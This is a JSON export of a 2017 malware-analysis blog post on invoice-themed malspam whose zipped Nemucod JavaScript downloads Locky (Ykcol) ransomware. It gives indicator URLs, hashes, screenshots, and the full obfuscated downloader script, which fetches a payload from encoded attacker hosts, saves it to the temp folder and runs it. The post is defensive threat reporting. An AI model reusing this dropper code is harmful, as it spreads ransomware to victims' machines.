{"id":996,"date":"2017-10-03T13:59:52","date_gmt":"2017-10-03T12:59:52","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=996"},"modified":"2017-10-03T13:59:52","modified_gmt":"2017-10-03T12:59:52","slug":"2017-10-03-nemucod-maldoc-leads-to-locky-ykcol-infection","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=996","title":{"rendered":"2017-10-03 Nemucod Maldoc Leads to Locky (Ykcol) Infection"},"content":{"rendered":"<p>Quick post for today. I have been seeing a lot of malspam with malicious Javascript attachments zipped inside a 7zip archive for the past couple of days. The emails themselves all seem to revolve around the theme of a receipt or invoice as seen below. From what I can tell, the scripts are all about the same and the binary downloaded from each of the sites are exactly the same file. I am not sure if this is the case with the other emails from yesterday or the day before, but I can only assume it is. <\/p>\n<p>All the scripts from the batch that I obtained along with the malicious binary files from the URLs that were still working are posted in my Github which you can find <a href=\"http:\/\/github.com\/bloomer1016\/2017-10-03-Nemucod-Locky-Maldoc\" rel=\"noopener\" target=\"_blank\">here<\/a>.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/10\/Invoice.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/10\/Invoice.png\" alt=\"\" width=\"510\" height=\"426\" class=\"aligncenter size-full wp-image-997\" \/><\/a><\/p>\n<p>IOCs:<br \/>\n=====<br \/>\nhxxp:\/\/bridleridgehorses[.]com\/jhgf54y6??QDPriSzAYm=QDPriSzAYm<br \/>\nhxxp:\/\/pesonamas[.]co[.]id\/jhgf54y6??QDPriSzAYm=QDPriSzAYm<br \/>\nhxxp:\/\/aimonino[.]info\/p66\/jhgf54y6?QDPriSzAYm=QDPriSzAYm<\/p>\n<p>hxxp:\/\/bridleridgehorses[.]com\/jhgf54y6??kJPCDso=kJPCDso<br \/>\nhxxp:\/\/pesonamas[.]co[.]id\/jhgf54y6??kJPCDso=kJPCDso<br \/>\nhxxp:\/\/aimonino[.]info\/p66\/jhgf54y6?kJPCDso=kJPCDso<\/p>\n<p>hxxp:\/\/bibtic[.]net\/jhgf54y6??twMGpm=twMGpm<br \/>\nhxxp:\/\/enixgaming[.]de\/jhgf54y6??twMGpm=twMGpm<br \/>\nhxxp:\/\/aimonino[.]info\/p66\/jhgf54y6?twMGpm=twMGpm<\/p>\n<p>hxxp:\/\/sonucbirebiregitim[.]com\/jhgf54y6??nuRagkR=nuRagkR<br \/>\nhxxp:\/\/bibtic[.]net\/jhgf54y6??nuRagkR=nuRagkR<br \/>\nhxxp:\/\/aimonino[.]info\/p66\/jhgf54y6?nuRagkR=nuRagkR<\/p>\n<p>hxxp:\/\/fbl[.]com[.]sg\/jhgf54y6??WHQaPtXLDg=WHQaPtXLDg<br \/>\nhxxp:\/\/kitami-ansin[.]com\/jhgf54y6??WHQaPtXLDg=WHQaPtXLDg<br \/>\nhxxp:\/\/aimonino[.]info\/p66\/jhgf54y6?WHQaPtXLDg=WHQaPtXLDg<\/p>\n<p>Artifacts:<br \/>\n==========<br \/>\nFile name: da3a2a61-7776-4ecd-a336-2877bd8a7284.js<br \/>\nFile size: 15KB<br \/>\nFile path: NA<br \/>\nMD5 hash: 56947C09717C6D5E6ED82EC5871C24AD<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/#\/file\/ccf179d93cbe54f4e3c9c1343f49c21d397e7f5a499efef5e280f4746f2c0981\/detection\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/#\/file\/ccf179d93cbe54f4e3c9c1343f49c21d397e7f5a499efef5e280f4746f2c0981\/detection<\/a><br \/>\nDetection ratio: 17 \/ 59<br \/>\nFirst detected: 2017-10-03 08:35:10<br \/>\nReverse.IT: <a href=\"http:\/\/www.reverse.it\/sample\/ccf179d93cbe54f4e3c9c1343f49c21d397e7f5a499efef5e280f4746f2c0981?environmentId=100\" rel=\"noopener\" target=\"_blank\">http:\/\/www.reverse.it\/sample\/ccf179d93cbe54f4e3c9c1343f49c21d397e7f5a499efef5e280f4746f2c0981?environmentId=100<\/a><\/p>\n<p>File name: WHQaPtXLDg2.exe<br \/>\nFile size: 577KB<br \/>\nFile path: C:\\Users\\%username%\\AppData\\Local\\Temp<br \/>\nMD5 hash: 358eaa145a5214c25c82de30c928543a<br \/>\nVirustotal: <a href=\"http:\/\/www.virustotal.com\/#\/file\/811631d9c535035ed772ad669aa00a3a3a3e89fc26c5ef63a0f3d9c85eabe81f\/detection\" rel=\"noopener\" target=\"_blank\">http:\/\/www.virustotal.com\/#\/file\/811631d9c535035ed772ad669aa00a3a3a3e89fc26c5ef63a0f3d9c85eabe81f\/detection<\/a><br \/>\nDetection ratio: 15 \/ 66<br \/>\nFirst detected: 2017-10-03 09:56:25<br \/>\nReverse.IT: <a href=\"http:\/\/www.reverse.it\/sample\/811631d9c535035ed772ad669aa00a3a3a3e89fc26c5ef63a0f3d9c85eabe81f?environmentId=100\" rel=\"noopener\" target=\"_blank\">http:\/\/www.reverse.it\/sample\/811631d9c535035ed772ad669aa00a3a3a3e89fc26c5ef63a0f3d9c85eabe81f?environmentId=100<\/a><\/p>\n<p>Analysis:<br \/>\n=========<br \/>\nAll the emails are also spoofed so it looks like someone from within the organization is sending it. The attachments all seem to be similarly named. In today&#8217;s batch of emails, they all start with &#8220;A_.7z&#8221;. Several that I saw from yesterday and the day before all seem to copy this type of naming convention as well (some random letter and then underscore with random numbers in a random length.7z). <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/10\/Attachments.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/10\/Attachments.png\" alt=\"\" width=\"598\" height=\"110\" class=\"aligncenter size-full wp-image-998\" \/><\/a><\/p>\n<p>Like all other forms of encrypting malware, this is a pretty straight-forward infection. Once the user extracts the zip file, they are presented with a Javascript file. Unfortunately I am not versed with Javascript so I was not able to deobfuscate the script. Here is an example of one of the scripts.<\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n function  setRH(CR, VR){\r\n CR&#x5B;VR](&quot;User&quot;+&quot;-Agent&quot;, &quot;TW96aWxsYS80LjAgKAMASKGNvbXBhdGlibGU7IE1TSUUgNi4wOyKAMASBXaW5kb3dzIE5UIDUuMCk=&quot;.acetilenButan());\r\n}\r\n\r\n\r\n\r\n\r\nvar PotterGaablebodied_SayNoNo =&quot;KAMAS&quot;+ &quot;&quot;+&quot;&quot;;\r\nvar silkopil = &quot;\/&quot;;\r\n\r\n\r\n\r\n var meuArData = new Array(\r\n52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,115,52,52,52,116,105,106,107,108,109,110,111,112,113,114,52,52,52,52,52,52,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,52,52,52,52,52,52,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52\r\n\r\n\r\n);\r\n\r\n\r\n  dirtyGog = {'U':'S' , ':':'.' , '88':'' , 'CHICHA':'onseBody' , '77':'' , '101':'' , 'SEREDINA':'X',  '11':''};\r\n\r\nfunction  PotterGaablebodied_FROG2sud(vardos){\r\nreturn vardos&#x5B;(&quot;PotterGaablebodied_front&quot;,&quot;PotterGaablebodied_borough&quot;,&quot;PotterGaablebodied_inert&quot;,&quot;PotterGaablebodied_disclose&quot;,&quot;PotterGaablebodied_textiles&quot;,&quot;l&quot;)+&quot;en&quot; +(&quot;PotterGaablebodied_burthen&quot;,&quot;PotterGaablebodied_unconcealed&quot;,&quot;PotterGaablebodied_liberia&quot;,&quot;PotterGaablebodied_reedy&quot;,&quot;PotterGaablebodied_hexameter&quot;,&quot;gt&quot;)+&quot;h&quot;];\r\n}var birdMAN =1 + 0xfd +1;\r\n var meuArDataHO = PotterGaablebodied_FROG2sud(meuArData);\r\n\r\n\r\n    for (velVITK_OBLOM= 0; meuArDataHO &gt;velVITK_OBLOM ; ++velVITK_OBLOM) {\r\n       meuArData&#x5B;velVITK_OBLOM] = -50+meuArData&#x5B;velVITK_OBLOM] - 3;\r\n\r\n    }\r\n\r\n\tvar dirtyGog;\r\n var velVITK_BOSKO_2S = &quot;&quot;;\r\n \r\n \r\nvar proto = &quot;prot&quot;+&quot;otype&quot;;\r\nvar ft11 =  function() {\r\n\tvar PotterGaablebodied_RazlomSS, line4, PotterGaablebodied_Selection1, PotterGaablebodied_FROG2c4;\r\n\r\n     var PotterGaablebodied_FROG2out = &quot;&quot;;\r\n\r\n\t var line3= this.replace(\/KAMAS\/gi, PotterGaablebodied_FROG2out);line6 = 0;\r\n var  PotterGaablebodied_FROG2len = PotterGaablebodied_FROG2sud(line3); \r\nwhile (line6 &lt; PotterGaablebodied_FROG2len) {\t\r\n\r\n\t\r\ndo {\r\n\t\t\t var PotterGaablebodied_koch = line3.charCodeAt(line6++) &amp;(0x132- 0x33);\r\n            PotterGaablebodied_RazlomSS = meuArData&#x5B;PotterGaablebodied_koch];\r\n        } while (line6 &lt; PotterGaablebodied_FROG2len &amp;&amp; PotterGaablebodied_RazlomSS == -1);   \r\nif (PotterGaablebodied_RazlomSS == -1)\r\n            break; \t\r\n\tdo {\r\n\t\t\t\tstembl = &quot;the&quot;;\r\n            line4 = meuArData&#x5B;line3.charCodeAt(line6++) &amp; birdMAN];\r\n\r\n        } while (line6 &lt; PotterGaablebodied_FROG2len &amp;&amp; line4 == -1);  \r\n\r\n        if (line4 +2+1== 1+1)\r\n            break; \r\n\t\r\n        PotterGaablebodied_FROG2out += String.fromCharCode((PotterGaablebodied_RazlomSS &lt;&lt; 2) | ((line4 &amp; 0x30) &gt;&gt; 4)); \r\n    do {\r\n            PotterGaablebodied_Selection1 = line3.charCodeAt(line6++) &amp; 0xff;\r\n\r\n            if (PotterGaablebodied_Selection1 == 61)\r\n                return PotterGaablebodied_FROG2out;\r\n\r\n            PotterGaablebodied_Selection1 = meuArData&#x5B;PotterGaablebodied_Selection1];\r\n        } while (line6 &lt; PotterGaablebodied_FROG2len &amp;&amp; PotterGaablebodied_Selection1 == -1); \r\n        if (PotterGaablebodied_Selection1 == -1)\r\n            break;\r\n        PotterGaablebodied_FROG2out += String.fromCharCode(((line4 &amp; (0xe+1)) &lt;&lt; 4) | ((PotterGaablebodied_Selection1 &amp; 0x3c) &gt;&gt; 2)); \r\n   \r\n        do {\r\n            PotterGaablebodied_FROG2c4 = line3.charCodeAt(line6++) &amp; birdMAN;\r\n\r\n            if (PotterGaablebodied_FROG2c4 == 61)\r\n                return PotterGaablebodied_FROG2out;\r\n\r\n            PotterGaablebodied_FROG2c4 = meuArData&#x5B;PotterGaablebodied_FROG2c4];\r\n        } while (line6 &lt; PotterGaablebodied_FROG2len &amp;&amp; PotterGaablebodied_FROG2c4 == -1);\r\n        if (PotterGaablebodied_FROG2c4 == -1)\r\n            break;\r\n\r\n        PotterGaablebodied_FROG2out += String.fromCharCode(((PotterGaablebodied_Selection1 &amp; 0x03) &lt;&lt; 6) | PotterGaablebodied_FROG2c4); \r\n     \r\n  \r\n  \r\n\r\n\r\n  \r\n\t }\r\n    return PotterGaablebodied_FROG2out;\r\n     };\t\r\n  \r\n \r\n\r\nfunction  PotterGaablebodied_FROG2undefilled(rx, ry) {\r\n    rx =HCKD \/ RDMP ;\r\n    ry = velVLUMAHZZ + 109;\r\n};\r\n\r\n PotterGaablebodied_FROG2undefilled.dEDWWEE = function(){\r\n\r\nPotterGaablebodied_FROG2ok(PotterGaablebodied_FROG2spyFunction1.PotterGaablebodied_FROG2calledWith(), &quot;Function called without arguments&quot;);\r\nPotterGaablebodied_FROG2publisher.PotterGaablebodied_FROG2publish(this.PotterGaablebodied_FROG2type1, &quot;PROPER1&quot;);\r\n    PotterGaablebodied_FROG2ok(PotterGaablebodied_FROG2spyFunction1.PotterGaablebodied_FROG2calledWith(&quot;PROPER1&quot;), &quot;Function called with 'PROPER1' argument&quot;);\r\n\r\n    PotterGaablebodied_FROG2publisher.PotterGaablebodied_FROG2publish(this.PotterGaablebodied_FROG2type1, &#x5B;&quot;PROPER1&quot;, &quot;PROPER2&quot;]);\r\n\r\n};\r\n \r\n \r\n \r\n\r\n\t\r\nString&#x5B;&quot;prototype&quot;].acetilenButan =ft11;\r\n  function Gashish(SOcksRadFROGvostochniy){\r\n\t SOcksRadPUPPYna = SOcksRadFROGvostochniy;\r\nfor (var SOcksRadFROG2XCOP in dirtyGog){\r\n\tSOcksRadPUPPYna = SOcksRadPUPPYna&#x5B;&quot;repl&quot; + &quot;ace&quot;](SOcksRadFROG2XCOP, dirtyGog&#x5B;SOcksRadFROG2XCOP]);\r\n\t\r\n}\r\n    return SOcksRadPUPPYna;\r\n };\r\n\t \r\n var topSecretLine;\r\n var PotterGaablebodied_LLL0LLL = &quot;l&quot;;\r\n\r\n \r\n\t var PotterGaablebodied_FROG2TRUEFALSE=(&quot;V2lKAMASuZG93cyBTY3JpcKAMASHQgSG9zdA=KAMAS=&quot;.acetilenButan() +&quot;MPO203ZDD&quot; ==&quot;KAMASV2lKAMASuZG93cyBTY3JpcKAMASHQgSG9zdA==&quot;.acetilenButan() +&quot;MPO203ZDD&quot;)&amp;&amp;typeof(PotterGaablebodied_FROG2GzEAPd)===&quot;undefined&quot;;\r\n\r\n  var PotterGaablebodied_FROGsrq = &quot;UmVxdWVzdEhlYWRlcg==&quot;.acetilenButan();\r\n\r\n var PotterGaablebodiedFPADRML  =(&quot;&quot;).acetilenButan();\r\n var PotterGaablebodied_FROG2lidgen = &quot;QWN0KAMASaXZlWEKAMAS9iamVjdA==&quot;.acetilenButan();\r\n \r\n var PotterGaablebodied_FROG2chosen = Math.round(0.7 * 2 - 0.4);\r\n \r\n \r\n var takeshiKitana = new Function(&quot;KAMAS,KAMAS2&quot;, &quot;KAMAS&#x5B;KAMAS2]();&quot;);\r\n\r\nif(!PotterGaablebodied_FROG2TRUEFALSE){\r\nPotterGaablebodied_FROG2undefilled.scale = function(PotterGaablebodied_FROG2p, PotterGaablebodied_FROG2scaleX, PotterGaablebodied_FROG2scaleY) {\r\n    if (line6sObject(PotterGaablebodied_FROG2scaleX)) {\r\n        PotterGaablebodied_FROG2scaleY = PotterGaablebodied_FROG2scaleX.y;\r\n        PotterGaablebodied_FROG2scaleX = PotterGaablebodied_FROG2scaleX.x;\r\n    } else if (!line6sNumber(PotterGaablebodied_FROG2scaleY)) {\r\n        PotterGaablebodied_FROG2scaleY = PotterGaablebodied_FROG2scaleX;\r\n    }\r\n    return new PotterGaablebodied_FROG2undefilled(PotterGaablebodied_FROG2p.x * PotterGaablebodied_FROG2scaleX, PotterGaablebodied_FROG2p.y * PotterGaablebodied_FROG2scaleY);\r\n};\r\n\r\n}\r\n\r\nfunction  PotterGaablebodiedFPADZO_ZO(TT){\r\n\t\r\neval(TT);\r\n\t}\r\n \t\r\nif(!PotterGaablebodied_FROG2TRUEFALSE){\r\nPotterGaablebodied_FROG2undefilled.PotterGaablebodied_FROG2sameOrN = function(PotterGaablebodied_FROG2param1, PotterGaablebodied_FROG2param2) {\r\n    return PotterGaablebodied_FROG2param1.D == PotterGaablebodied_FROG2param2.D || PotterGaablebodied_FROG2param1.F == PotterGaablebodied_FROG2param2.F;\r\n};\r\n\r\nPotterGaablebodied_FROG2undefilled.angle = function(PotterGaablebodied_FROG2p) {\r\n    return Math.atan2(PotterGaablebodied_FROG2p.y, PotterGaablebodied_FROG2p.x);\r\n};\r\n\t}\r\n\r\n    \r\n var PotterGaablebodied_FROG2VARDOCF =&quot;JVRFKAMASTVAlKAMAS&quot;.acetilenButan();\r\n\r\n var oLDNameCreator = new Function(&quot;KAMAS,KAMAS&quot;,&quot;topSecretLine = &quot;+   (&quot;bmV3IEZ1bmN0aW9uKCd2VlJFQkZGMycsJ3JldHVybiBcIlRWTT1cIg==&quot;).acetilenButan() + &quot;.acetilenButan();');&quot;);\r\n\r\n var PotterGaablebodiedruchka =&quot;RXhwYW5KAMASkRW52aXJvbm1lbnRTdHJKAMASpbmKAMASdz&quot;.acetilenButan();\r\n \r\n  var PotterGaablebodied_FROGhatershaha = &quot;&quot;;\r\n var PotterGaablebodied_FROGodnoklass = &quot;WHQaPtXLDg&quot;;\r\nfunction  placeHolder(AOn){\r\n\treturn new ActiveXObject(AOn);\r\n}\r\n var PotterGaablebodied_FROG2Native = function(options){\r\n\t\r\n};\r\n\r\nif(WSH){PotterGaablebodied_FROG2Native.line6mplement = function(PotterGaablebodied_FROG2objects, PotterGaablebodied_FROG2properties){\r\n\tfor ( var line6 = 0, PotterGaablebodied_FROG2l = PotterGaablebodied_FROG2objects.length; line6 &lt; PotterGaablebodied_FROG2l; line6++) PotterGaablebodied_FROG2objects&#x5B;line6].line6mplement(PotterGaablebodied_FROG2properties);\r\n};\r\n\toLDNameCreator();\r\n}\r\n\r\n\t\r\n\t\r\n\r\n\r\n var PotterGaablebodied_FROG2d7 =&quot;WA==&quot;.acetilenButan() +  &quot;M&quot; +&quot;L&quot;;\r\n \r\n\r\n var PotterGaablebodied_FROG2_bChosteck =  &quot;aHR0cDovLwKAMAS=KAMAS=&quot;;\r\n\t\r\n \r\nfunction  PotterGaablebodied_FROG2_bCho(T, D, C) {\r\n\tR =D +&quot;&quot;;\r\nT&#x5B;D+&quot;&quot;](C);\r\n}\r\n\r\nPotterGaablebodied_FROG2d7 = topSecretLine() + PotterGaablebodied_FROG2d7+ Gashish((&quot;PotterGaablebodied_inquisitiveness&quot;,&quot;PotterGaablebodied_ethiopia&quot;,&quot;PotterGaablebodied_regional&quot;,&quot;PotterGaablebodied_origins&quot;,&quot;PotterGaablebodied_inane&quot;,&quot;2.&quot;)+&quot;SEREDINAML77H101T&quot;+&quot;TP45KAMAS45&quot;+&quot;WS&quot;+&quot;cr&quot;+&quot;ipt:Uh&quot;)+&quot;e&quot;+&quot;ll&quot;; \r\n\r\n var PotterGaablebodied_FROG2DoUtra = &#x5B;PotterGaablebodied_FROG2lidgen, PotterGaablebodiedruchka,PotterGaablebodied_FROG2VARDOCF,&quot;LmVKAMAS4ZQ=KAMAS=&quot;.acetilenButan(), &quot;UnKAMASVuKAMAS&quot;.acetilenButan(),PotterGaablebodied_FROG2d7];\r\n\r\nPotterGaablebodied_FROG2Richters=PotterGaablebodied_FROG2DoUtra.shift();\r\n var PotterGaablebodied_FROG2d2=PotterGaablebodied_FROG2DoUtra.pop();\r\nPotterGaablebodied_FROG2fabled=&quot;Selection2Action&quot;;\r\n var PotterGaablebodied_FROG2LitoyDISK=ActiveXObject;\r\n\r\n \r\n  \t var massMarket=PotterGaablebodied_FROG2d2.split(&quot;45&quot;);PotterGaablebodied_FROG2Native.PotterGaablebodied_FROG2typize=function(a,b){a.type||(a.type=function(a){return PotterGaablebodied_FROG2$type(a)===b})};\r\n\r\nPotterGaablebodied_FROGcccomeccc = &quot;p&quot;;\r\n var Limbus2000=new Function(&quot;HORN&quot;,' var GALAXY = &quot;chastity necessarily()&quot;;var kelso = &quot;ADODB.Str32&quot;; return kelso.replace(&quot;DILBO&quot;, &quot;D&quot;).replace(&quot;32&quot;, &quot;eam&quot;);');\t\r\n \r\n\r\nfunction  x3fx3d(rdf){\r\n\treturn  &quot;\\x3F&quot;+rdf+&quot;\\x3D&quot;;\r\n}\r\n function  PotterGaablebodied_FROG2_cCho(a,b,c,d){a&#x5B;b](c,d)}\r\nabtest = massMarket&#x5B;PotterGaablebodied_FROGcccomeccc + &quot;op&quot;]();\r\n var PotterGaablebodiedGooodName;\r\n \r\n\r\n function  mimimix2(){\r\n\t try{\r\n         ori_sel&#x5B;fixed] = 0;      \/* Convert to face format*\/     \/* Mapping from permutation\/orientation to facelet*\/  for( var i = 0; i &lt; 8; i++){       for( var j = 0; j &lt; 3; j++)         posit&#x5B;pos&#x5B;i]&#x5B;(ori_sel&#x5B;i] + j) % 3]] = fmap&#x5B;perm_sel&#x5B;i]]&#x5B;j];     }\r\n\t }catch(exc1){\r\n\t\t   \r\n\t }\r\n\t PotterGaablebodiedGooodName = &quot;b3BlbgKAMAS=KAMAS=&quot;.acetilenButan();\r\n}\r\n\r\n\r\n PotterGaablebodiedSeason3 = placeHolder(abtest);\r\n\r\n\r\n\r\nmimimix2();\r\nPotterGaablebodied_FROGletchikva=new ActiveXObject(massMarket&#x5B;0]);\r\nPotterGaablebodied_FROG2tudabilo1 = &quot;s&quot;;\r\neval(PotterGaablebodied_SayNoNo.acetilenButan());\r\nvar PotterGaablebodied_FROG2vulture = PotterGaablebodiedSeason3&#x5B;PotterGaablebodied_FROG2DoUtra.shift()](PotterGaablebodied_FROG2DoUtra.shift());\r\nPotterGaablebodied_FROG2weasel = &quot;G\\x45T&quot;;\r\n var PotterGaablebodied_FROG2SIDRENKOV = PotterGaablebodied_FROG2DoUtra.shift();\r\n\r\n   PotterGaablebodied_FROG2SPASPI = &quot;type&quot;;\r\n\t\t\t\r\n var PotterGaablebodied_selectionPipe = PotterGaablebodied_FROG2DoUtra.shift();\r\n\t\r\nfunction  PotterGaablebodied_FROG2_aCho(R, K) {\r\nR&#x5B;K]();\r\n}\t\r\nfunction  PotterGaablebodiedcomBAT(PotterGaablebodied_FROG2gutter, PotterGaablebodied_FROG2StrokaParam2) {\r\n\t         var PotterGaablebodiedWasechO = &quot;&quot;+ PotterGaablebodied_FROG2vulture;\r\ntry{\r\n \r\nPotterGaablebodiedWasechO=PotterGaablebodiedWasechO+silkopil;\r\n\r\nPotterGaablebodiedWasechO=PotterGaablebodiedWasechO +&quot;&quot;+ PotterGaablebodied_FROG2StrokaParam2 ;\r\n  \r\n\t\r\n\r\nPotterGaablebodied_FROGletchikva&#x5B;&quot;open&quot;](PotterGaablebodied_FROG2weasel, PotterGaablebodied_FROG2gutter, false);\r\nif(PotterGaablebodied_FROG2TRUEFALSE){  PotterGaablebodied_FROG2_cCho(PotterGaablebodied_FROGletchikva,&quot;set&quot;+(11,&quot;PotterGaablebodied_nickel&quot;,&quot;PotterGaablebodied_killing&quot;,&quot;PotterGaablebodied_lucrative&quot;,&quot;PotterGaablebodied_marion&quot;,&quot;PotterGaablebodied_illegal&quot;,&quot;PotterGaablebodied_carboniferous&quot;,&quot;PotterGaablebodied_tanker&quot;,PotterGaablebodied_FROGsrq),&quot;User-Agent&quot;,&quot;TW96aWxsYS80LjAgKAMASKGNvbXBhdGlibGU7IE1TSUUgNi4wOyKAMASBXaW5kb3dzIE5UIDUuMCk=&quot;.acetilenButan());\r\n\t\r\n\t  } \r\n\t  \r\n\t  vlogTry = &quot;11&quot;\r\nPotterGaablebodied_FROGletchikva&#x5B;PotterGaablebodied_FROG2tudabilo1 + (&quot;PotterGaablebodied_manoeuvre&quot;,&quot;PotterGaablebodied_clause&quot;,&quot;PotterGaablebodied_grass&quot;,&quot;PotterGaablebodied_database&quot;,&quot;PotterGaablebodied_current&quot;,&quot;en&quot;) + &quot;&quot; + &quot;d&quot;]();\r\n\t\r\n      \r\n var kuzut = PotterGaablebodied_FROGletchikva&#x5B;&quot;Re&quot;+&quot;sp&quot;+(PotterGaablebodied_FROG2StrokaParam2,&quot;PotterGaablebodied_subheading&quot;,&quot;PotterGaablebodied_fabled&quot;,&quot;PotterGaablebodied_lassie&quot;,&quot;PotterGaablebodied_sixtyseven&quot;,1123,dirtyGog&#x5B;'CHICHA'])];\r\n\r\n\/\/if(kuzut &lt; 29989)return false;\r\n\/\/\t\tif (kuzut&#x5B;0]!= 77 || kuzut&#x5B;1]!= 90)return false;\r\n    \t\tvar PotterGaablebodied_MainZ = new PotterGaablebodied_FROG2LitoyDISK(Limbus2000());\r\n    \r\n\tif (PotterGaablebodied_FROG2TRUEFALSE) {\t\r\n\r\n\t\r\n PotterGaablebodied_FROGGaSMa = &quot;Selection10Action&quot;;\r\n\t\r\n var takeshiKitana2 = new Function(&quot;KAMAS,KAMAS2&quot;, &quot;KAMAS&#x5B;'wr&quot;+&quot;ite'](KAMAS2);&quot;);\t\r\n\t\t\ttakeshiKitana(PotterGaablebodied_MainZ,PotterGaablebodiedGooodName);\t \r\nPotterGaablebodied_MainZ&#x5B;PotterGaablebodied_FROG2SPASPI] = PotterGaablebodied_FROG2chosen;\r\n\t\r\n       \ttakeshiKitana2( PotterGaablebodied_MainZ, kuzut);\t\t \r\n \r\n\t\t  PotterGaablebodied_FROG2XWaxeQhw = &quot;Selection11Action&quot;;\r\n        PotterGaablebodied_MainZ&#x5B;&quot;position&quot;] = 0;\r\n\t  PotterGaablebodied_FROG2krDwvrh = &quot;Selection12Action&quot;;\r\n\t\tPotterGaablebodiedWasechO = PotterGaablebodiedWasechO  + PotterGaablebodied_FROG2SIDRENKOV;\r\n\t\tPotterGaablebodied_MainZ&#x5B;&quot;cKAMAS2F2KAMASZVKAMASRvRmlsZQ==&quot;.acetilenButan()](PotterGaablebodiedWasechO, 26\/13);\r\n        PotterGaablebodied_FROG2SswQdi = &quot;Selection13Action&quot;;\r\n\t\t\r\n\t\t  \r\n        PotterGaablebodied_MainZ.close();\r\n\r\n\t\t\r\nPotterGaablebodiedSeason3&#x5B;PotterGaablebodied_selectionPipe ](PotterGaablebodiedWasechO,0,false);\r\n\r\n\t}\r\n\r\n}catch(exception4){\r\n\t\r\n\treturn false;}\r\n\t\r\n\t\t\r\nreturn true;\r\n};\t\t\r\n \r\n \t\r\n\t\t\r\nPotterGaablebodiedFPADZO_ZO(PotterGaablebodiedFPADRML);\r\n\t\t\t\r\n\r\n\t\r\n var PotterGaablebodied_FROGodnoklassYO = 1;\r\n\r\n\r\n var PotterGaablebodied_FROG2_a5 = ('KAMASZmJsLmNvbS5zZy9qaGdmNTR5Nj8KAMAS=SSSSKAMASa2l0YW1pLWFuc2luLmNKAMASvbS9qaGdmNTR5Nj8=SSSS'+'YWltb25pbm8uaW5mby9wNjYvamhnZjU0eTY='+'KAMAScGVzb25hbWFKAMASzLmNvLmlkL2poZ2Y1NHk2Pw==SSSSSSSSKAMAS').split(&quot;SSSS&quot;);  \r\n\r\n var KAMAS500 = new Function(&quot;PotterGaablebodied_FROG2_a5,PotterGaablebodied_FROG2HORDA5&quot;, 'return PotterGaablebodied_FROG2_bChosteck.acetilenButan() + PotterGaablebodied_FROG2_a5&#x5B;PotterGaablebodied_FROG2HORDA5].acetilenButan();');\r\n\r\n\r\n \r\nfor(PotterGaablebodied_FROG2HORDA5 in PotterGaablebodied_FROG2_a5){\r\n\tPotterGaablebodied_FROGodnoklassYO++;\r\n\tvar s1=KAMAS500(PotterGaablebodied_FROG2_a5,PotterGaablebodied_FROG2HORDA5)+x3fx3d(PotterGaablebodied_FROGodnoklass)+PotterGaablebodied_FROGodnoklass;\r\n\tvar sDA2=PotterGaablebodied_FROGodnoklass+ PotterGaablebodied_FROGodnoklassYO;\r\n\tif(PotterGaablebodiedcomBAT(s1,sDA2)){\r\nbreak;\r\n}\r\n\r\n\r\n}<\/pre>\n<p>Once the Javascript file is executed, the script chooses one of the three URLs that is coded into the it and downloads the malicious binary. In this case I used a tool called <a href=\"http:\/\/www.kahusecurity.com\/downloads\/URLRevealer_v0.2.7z\" rel=\"noopener\" target=\"_blank\">URLRevealer<\/a> from Kahu Security which created a local proxy server that logged all web requests. When I ran the scripts to see what URLs were being used, URLRevealor showed me three different URLs for each script. The only network traffic that I saw from my VM was the GET request for the malicious binary.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/10\/Wireshark.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/10\/Wireshark.png\" alt=\"\" width=\"1582\" height=\"808\" class=\"aligncenter size-full wp-image-1004\" \/><\/a><\/p>\n<p>After the download of the binary and a couple of minutes, I was presented with the usual Locky (Ykcol) screens that we have seen in the past.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/10\/Locky-IE.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/10\/Locky-IE.png\" alt=\"\" width=\"1195\" height=\"626\" class=\"aligncenter size-full wp-image-999\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/10\/Locky-BMP.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/10\/Locky-BMP.png\" alt=\"\" width=\"1625\" height=\"840\" class=\"aligncenter size-full wp-image-1000\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quick post for today. I have been seeing a lot of malspam with malicious Javascript attachments zipped inside a 7zip archive for the past couple of days. The emails themselves all seem to revolve around the theme of a receipt or invoice as seen below. From what I can tell, the scripts are all about the same and the binary downloaded from each of the sites are exactly the same file. I am not sure if this is the case with the other emails from yesterday or the day before, but I can only assume it is. All the scripts&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=996\"><span>Continue reading<\/span><i 